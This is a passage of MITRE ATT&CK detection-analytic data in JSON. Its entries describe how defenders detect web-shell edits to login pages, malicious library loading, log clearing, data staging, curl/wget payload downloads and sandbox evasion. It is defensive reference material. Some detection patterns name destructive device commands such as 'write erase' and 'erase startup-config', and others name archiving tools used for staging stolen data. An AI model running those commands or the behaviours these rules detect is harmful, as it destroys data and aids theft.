                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TaskNameSimilarityThreshold",
                    "description": "Similarity threshold for comparing new task/service names to known legitimate names (e.g., Levenshtein distance)"
                },
                {
                    "field": "BinaryReputationScore",
                    "description": "Confidence level required for allowing a binary, often from unsigned or untrusted source"
                },
                {
                    "field": "ExecutionContext",
                    "description": "Whether the execution came from SYSTEM, service accounts, or user contexts"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--5233d621-6658-4338-b183-01bd73e52861",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0480#AN1320",
                    "external_id": "AN1320"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1320",
            "description": "Detects unauthorized modifications to login-facing web server files (e.g., index.php, login.js) typically tied to VPN, SSO, or intranet portals. Correlates suspicious file changes with remote access artifacts or web shell behavior.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "auditd:SYSCALL",
                    "channel": "write"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "HTTP Request Logging"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MonitoredFilePaths",
                    "description": "Target login-related files (e.g., /var/www/html/login.php) for integrity monitoring"
                },
                {
                    "field": "TimeWindow",
                    "description": "Tune detection to correlate file edits and web access within a short duration"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--5258feec-def7-43e0-bbe9-459ba53d3e28",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0049#AN0136",
                    "external_id": "AN0136"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0136",
            "description": "Detects firewall rule modifications or reset of logs/connection tables (e.g., `clear logging`, `erase startup-config`, `write erase`) following remote access activity on routers, switches, or VPN appliances.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "networkdevice:syslog",
                    "channel": "Command Audit / Configuration Change"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Session History Reset"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CommandPattern",
                    "description": "e.g., `clear logging`, `no logging buffered`, `no ip domain-lookup`"
                },
                {
                    "field": "DeviceTypeFilter",
                    "description": "Switches vs VPN vs routers"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--52a5dffb-f3a3-45fc-97b3-2c09fed8e0b4",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0018#AN0054",
                    "external_id": "AN0054"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0054",
            "description": "A process loads a non-system .dylib/.so via dyld (dlopen/dlsym) from user-writable locations (~/Library, /tmp) or after the library was recently created/downloaded, often followed by network egress or persistence.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "macos:unifiedlog",
                    "channel": "dyld/unified log entries indicating image load from non-system paths"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:endpointsecurity",
                    "channel": "exec: Process execution context for loaders calling dlopen/dlsym"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_OPEN: Open of .dylib/.so in user-writable locations"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SuspiciousDirs",
                    "description": "~/Library, /tmp, /Users/*/.* (hidden dirs) \u2013 tune to enterprise layout."
                },
                {
                    "field": "UnsignedOnly",
                    "description": "Alert only when code-signing is invalid or absent."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate write/open to module load within N minutes."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--52b9bf67-304e-403f-9b81-4d4b9d974ad6",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0559#AN1538",
                    "external_id": "AN1538"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
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                {
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                {
                    "field": "TargetDevices",
                    "description": "Define specific device paths to monitor (e.g., /dev/sda, /dev/nvme0n1)."
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                {
                    "field": "OffsetThreshold",
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                    "field": "GuestFlag",
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                    "field": "EntropyScore",
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1",
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                    "field": "TargetProcessSignature",
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                {
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            "description": "Unusual or excessive database/table exports from SaaS database platforms (e.g., Snowflake, Firebase, BigQuery, Airtable) by users or apps not in known analytics or dev groups. Defender observes access patterns outside baseline working hours or with new query templates, and correlates those with audit logs or file downloads.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "SaaS"
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                    "name": "saas:Snowflake",
                    "channel": "QUERY: Large or repeated SELECT * queries to sensitive tables"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "m365:unified",
                    "channel": "Bulk downloads or API extractions from Microsoft-hosted data repositories (e.g., Dynamics 365)"
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            ],
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                {
                    "field": "BaselineQueryTemplates",
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                    "name": "saas:salesforce",
                    "channel": "GET /services/data/vXX.X/groups"
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            ],
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                    "field": "OrgScope",
                    "description": "Scope to cross-team access or unfamiliar org enumeration."
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                {
                    "field": "RequestRate",
                    "description": "Tuning for excessive group-list API calls."
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            ],
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            "x_mitre_domains": [
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                {
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                {
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                    "name": "auditd:PATH",
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                {
                    "field": "TicketToExecutionWindow",
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            "x_mitre_deprecated": false,
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            "x_mitre_domains": [
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                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
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                {
                    "field": "TimeWindow",
                    "description": "Detect multiple discovery commands executed in short succession."
                },
                {
                    "field": "UserContext",
                    "description": "Scope alerts to unusual user accounts or service accounts."
                }
            ]
        },
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            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0350#AN0996",
                    "external_id": "AN0996"
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            "description": "Monitors execution of older or legacy interpreters (e.g., python2, bash with restricted history logging), downgrade of TLS/SSL configurations, or forced fallback to unencrypted protocols. Detects suspicious reconfiguration of kernel modules or boot loaders to reduce integrity controls.",
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                "Linux"
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                    "channel": "Kernel or daemon warnings of downgraded TLS or cryptographic settings"
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            ],
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                {
                    "field": "AllowedCryptoProtocols",
                    "description": "List of TLS/SSL versions approved for use; alerts triggered if older protocols (e.g., TLS 1.0) are used."
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            "type": "x-mitre-analytic",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "WinEventLog:Security",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
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                    "field": "HostContextScope",
                    "description": "Adjusts the host scoping for correlation of authentication chains and ticket injection"
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                    "field": "LSASSAccessAnomalyThreshold",
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                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "auditd:SYSCALL",
                    "channel": "write"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "auditd:SYSCALL",
                    "channel": "openat"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "auditd:SYSCALL",
                    "channel": "chmod"
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                {
                    "field": "PathRegex",
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                },
                {
                    "field": "CompressionToolPatterns",
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                },
                {
                    "field": "ExecutionAfterUnpackWindow",
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            "x_mitre_deprecated": false
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            "description": "Detects abnormal creation of binary files with significant size that are subsequently executed or accessed by non-standard users.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "auditd:SYSCALL",
                    "channel": "open"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "linux:osquery",
                    "channel": "file_events"
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            ],
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                {
                    "field": "FileSizeThresholdMB",
                    "description": "Defines how large a file must be to consider it padded"
                },
                {
                    "field": "UserContext",
                    "description": "Target abnormal user behavior outside of expected automation"
                },
                {
                    "field": "TimeWindow",
                    "description": "Time window for correlating file creation and execution"
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            "x_mitre_deprecated": false
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1466"
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            "name": "Analytic 1466",
            "description": "Userland processes invoking syscall-heavy libraries (libc, glibc) followed by fork, mmap, or ptrace behavior commonly associated with code injection or memory manipulation.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "auditd:SYSCALL",
                    "channel": "execve, fork, mmap, ptrace"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "auditd:SYSCALL",
                    "channel": "module load or memory map path"
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            ],
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                {
                    "field": "SyscallType",
                    "description": "Filter for fork, mmap, ptrace based on context"
                },
                {
                    "field": "ProcessName",
                    "description": "Whitelist known daemon and scheduled task patterns"
                },
                {
                    "field": "MAPS Path",
                    "description": "Tune suspicious memory map regions (e.g., /tmp/.evilshmem)"
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--557d1a5d-31ae-4600-b4ed-a456d9964a83",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0097#AN0272",
                    "external_id": "AN0272"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0272",
            "description": "Scripted or binary usage of X11 utilities (e.g., xdotool, wmctrl) or direct /proc/*/window mappings to discover open GUI windows and active desktops.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:EXECVE",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "linus:syslog",
                    "channel": "None"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ExecutableName",
                    "description": "Common window management utilities can be tuned to reduce noise (e.g., xprop, xwininfo)."
                },
                {
                    "field": "DisplayContext",
                    "description": "Restrict detection to processes executing under graphical sessions (e.g., DISPLAY=:0)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0226#AN0630",
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            "description": "Detects behavior where files with non-executable or misleading extensions (e.g., .jpg, .txt) are created or modified but subsequently executed as binaries based on internal file headers or abnormal parent process lineage. This includes identifying polyglot files or malformed magic bytes indicative of masquerading attempts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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            ],
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                {
                    "field": "benign_extensions",
                    "description": "List of non-executable file types commonly used to mask payloads (.jpg, .txt, .gif)"
                },
                {
                    "field": "monitored_directories",
                    "description": "Targeted directories for initial access and downloads (e.g., %TEMP%, Downloads, AppData)"
                },
                {
                    "field": "MagicByteMismatchThreshold",
                    "description": "Detection tolerance for mismatches between extension and file signature (magic bytes)"
                },
                {
                    "field": "TimeWindow",
                    "description": "Time range between file creation and first execution"
                },
                {
                    "field": "ParentProcessAnomalyScore",
                    "description": "Anomaly score threshold for suspicious parent-child process combinations"
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            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "name": "Analytic 0127",
            "description": "Execution of discovery commands or API calls for virtualization artifacts (e.g., registry keys, device drivers, services), sleep/skipped execution behavior, or sandbox evasion DLLs before payload deployment.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                    "field": "TimeWindow",
                    "description": "Time range in which multiple discovery processes or sleep/delay operations are executed to avoid sandbox detonation."
                },
                {
                    "field": "KnownVMArtifactList",
                    "description": "Registry paths, DLLs, services or device names indicative of sandbox/VM environments."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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                    "external_id": "AN0936"
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "networkdevice:syslog",
                    "channel": "command sequence: erase \u2192 format \u2192 reload"
                }
            ],
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                {
                    "field": "CommandSequenceWindow",
                    "description": "Time between erase and reload command to establish causality"
                },
                {
                    "field": "UserPrivilegeLevel",
                    "description": "Filter for high-privilege user sessions"
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1510",
            "description": "Use of ESXi web interface plugins or vSphere extensions to embed persistent malicious scripts or services.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                {
                    "field": "AccessVector",
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            "description": "Detection of a process or script that accesses a common web service to retrieve content containing obfuscated indicators of a secondary C2 server (dead drop resolver behavior).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
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                    "channel": "TLS Handshake/Network Flow"
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                    "field": "TargetDomain",
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                    "field": "UserContext",
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        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0253",
            "description": "Manual or script-based installation of extension-like modules into browser config directories or IDE plugin paths, followed by suspicious network activity",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "fs:fileevents",
                    "channel": "creat"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
                    "channel": "Abnormal browser traffic volume or destination"
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            ],
            "x_mitre_mutable_elements": [
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                    "field": "DirectoryPath",
                    "description": "Common plugin or extension directories may vary by distro or browser (e.g., ~/.config/google-chrome/Default/Extensions)"
                },
                {
                    "field": "ExecPath",
                    "description": "Path to scripting tools used in installation (e.g., bash, curl, unzip)"
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                    "field": "TimeWindow",
                    "description": "Tunable interval between install and first network beacon"
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        },
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0724"
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            ],
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0724",
            "description": "Detects file reads across locations followed by writes to temp or staging directories, often compressed or encrypted, indicating local staging behavior.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
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                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
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                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
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            ],
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                    "field": "StagingDirList",
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                },
                {
                    "field": "ArchivingToolPatterns",
                    "description": "Matches to 7z.exe, rar.exe, zip.exe, or custom scripts."
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                    "field": "TimeWindow",
                    "description": "How long to correlate file reads followed by compression."
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            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--564071d9-44b1-44b8-92c0-348e22e544b7",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0480#AN1322",
                    "external_id": "AN1322"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1322",
            "description": "Detects unauthorized changes to locally hosted login pages on macOS (common in developer VPN environments) and links file edits to cron jobs, background scripts, or SUID binaries.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
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                    "channel": "Filesystem Access Logging"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
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                    "channel": "subsystem=com.apple.WebKit"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "WebRootPath",
                    "description": "Specify custom web service directories (e.g., /Library/WebServer/Documents/)"
                },
                {
                    "field": "AnomalousProcess",
                    "description": "Alert on web root changes from non-web processes or scripts"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--56552a3e-9934-4809-97a4-67d62f29478c",
            "created": "2025-10-21T15:10:28.402Z",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0167"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0167",
            "description": "Process execution of curl or wget followed by a network connection and a file created in temporary or user-specific directories.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_EXEC"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "macos:unifiedlog",
                    "channel": "file write/create"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "macos:unifiedlog",
                    "channel": "connection open"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "DirectoryTargeted",
                    "description": "Restrict to high-risk directories like /Users/Shared, /tmp/"
                },
                {
                    "field": "ProcessPath",
                    "description": "May tune based on custom tooling or MDM activity"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--56622fce-489a-4ed9-b1fb-e525939667d4",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0868#AN2000",
                    "external_id": "AN2000"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 2000",
            "description": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "Network Traffic",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--5697a257-0888-4fd5-84fd-756f6fa67690",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0850#AN1982",
                    "external_id": "AN1982"
                },
                {
                    "source_name": "Recorded Future Beacon Certificates",
                    "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.",
                    "url": "https://www.recordedfuture.com/research/cobalt-strike-servers"
                },
                {
                    "source_name": "Splunk Kovar Certificates 2017",
                    "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
                    "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
                },
                {
                    "source_name": "FireEyeSupplyChain",
                    "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.",
                    "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
                },
                {
                    "source_name": "Analyzing CS Dec 2020",
                    "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.",
                    "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1982",
            "description": "Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\nMonitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\nMonitor for logged network traffic in response to a scan showing both protocol header and body values that may buy and/or steal capabilities that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\nConsider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even 